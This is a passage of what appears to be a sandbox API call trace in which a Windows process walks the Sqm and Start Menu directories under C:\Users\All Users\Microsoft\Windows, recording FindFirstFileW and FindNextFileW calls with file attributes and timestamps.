lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sessions", cAlternateFileName="")) returned 1 [0222.608] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 1 [0222.608] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.608] FindClose (in: hFindFile=0x1d1f5b90 | out: hFindFile=0x1d1f5b90) returned 1 [0222.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe8d0) returned 1 [0222.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe890) returned 1 [0222.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe1e0) returned 1 [0222.609] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Manifest", nBufferLength=0x105, lpBuffer=0x1afbdcc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Manifest", lpFilePart=0x0) returned 0x31 [0222.609] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Manifest\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm\\manifest\\*"), lpFindFileData=0x1afbdef0 | out: lpFindFileData=0x1afbdef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b90 [0222.610] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.610] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0222.610] FindClose (in: hFindFile=0x1d1f5b90 | out: hFindFile=0x1d1f5b90) returned 1 [0222.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe110) returned 1 [0222.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe0d0) returned 1 [0222.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe1e0) returned 1 [0222.610] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Manifest", nBufferLength=0x105, lpBuffer=0x1afbdcc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Manifest", lpFilePart=0x0) returned 0x31 [0222.610] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Manifest\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm\\manifest\\*"), lpFindFileData=0x1afbdef0 | out: lpFindFileData=0x1afbdef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0222.610] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.611] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0222.611] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0222.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe110) returned 1 [0222.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe0d0) returned 1 [0222.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe1e0) returned 1 [0222.611] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Sessions", nBufferLength=0x105, lpBuffer=0x1afbdcc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Sessions", lpFilePart=0x0) returned 0x31 [0222.611] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Sessions\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm\\sessions\\*"), lpFindFileData=0x1afbdef0 | out: lpFindFileData=0x1afbdef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0222.611] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.612] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0222.612] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0222.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe110) returned 1 [0222.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe0d0) returned 1 [0222.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe1e0) returned 1 [0222.612] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Sessions", nBufferLength=0x105, lpBuffer=0x1afbdcc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Sessions", lpFilePart=0x0) returned 0x31 [0222.612] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Sessions\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm\\sessions\\*"), lpFindFileData=0x1afbdef0 | out: lpFindFileData=0x1afbdef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0222.612] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.613] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0222.613] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0222.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe110) returned 1 [0222.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe0d0) returned 1 [0222.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe1e0) returned 1 [0222.613] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Upload", nBufferLength=0x105, lpBuffer=0x1afbdcc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Upload", lpFilePart=0x0) returned 0x2f [0222.613] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Upload\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm\\upload\\*"), lpFindFileData=0x1afbdef0 | out: lpFindFileData=0x1afbdef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b90 [0222.614] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.614] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0222.614] FindClose (in: hFindFile=0x1d1f5b90 | out: hFindFile=0x1d1f5b90) returned 1 [0222.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe110) returned 1 [0222.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe0d0) returned 1 [0222.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe1e0) returned 1 [0222.614] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Upload", nBufferLength=0x105, lpBuffer=0x1afbdcc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Upload", lpFilePart=0x0) returned 0x2f [0222.614] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Upload\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm\\upload\\*"), lpFindFileData=0x1afbdef0 | out: lpFindFileData=0x1afbdef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b90 [0222.615] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.615] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b82c014, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8b82c014, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8b82c014, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0222.615] FindClose (in: hFindFile=0x1d1f5b90 | out: hFindFile=0x1d1f5b90) returned 1 [0222.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe110) returned 1 [0222.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe0d0) returned 1 [0222.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe9a0) returned 1 [0222.615] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu", nBufferLength=0x105, lpBuffer=0x1afbe480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu", lpFilePart=0x0) returned 0x2f [0222.615] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\*"), lpFindFileData=0x1afbe6b0 | out: lpFindFileData=0x1afbe6b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3672e79, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3672e79, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0222.616] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3672e79, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3672e79, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.616] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3672e79, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97362eb5, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97362eb5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0222.616] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcc470c30, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc470c30, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0222.616] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcc470c30, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc470c30, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 0 [0222.617] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0222.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe8d0) returned 1 [0222.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe890) returned 1 [0222.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe9a0) returned 1 [0222.617] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu", nBufferLength=0x105, lpBuffer=0x1afbe480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu", lpFilePart=0x0) returned 0x2f [0222.617] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\*"), lpFindFileData=0x1afbe6b0 | out: lpFindFileData=0x1afbe6b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3672e79, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3672e79, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b90 [0222.617] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3672e79, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3672e79, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.618] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3672e79, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97362eb5, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97362eb5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0222.618] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcc470c30, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc470c30, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0222.618] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.618] FindClose (in: hFindFile=0x1d1f5b90 | out: hFindFile=0x1d1f5b90) returned 1 [0222.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe8d0) returned 1 [0222.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe890) returned 1 [0222.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe1e0) returned 1 [0222.618] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs", nBufferLength=0x105, lpBuffer=0x1afbdcc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs", lpFilePart=0x0) returned 0x38 [0222.619] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\*"), lpFindFileData=0x1afbdef0 | out: lpFindFileData=0x1afbdef0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcc470c30, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc470c30, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b90 [0222.619] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcc470c30, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc470c30, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.619] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc470c30, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xcc470c30, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc470c30, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0xa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access 2016.lnk", cAlternateFileName="ACCESS~1.LNK")) returned 1 [0222.620] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x36990d0, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x36990d0, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1 [0222.620] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7088bbcb, 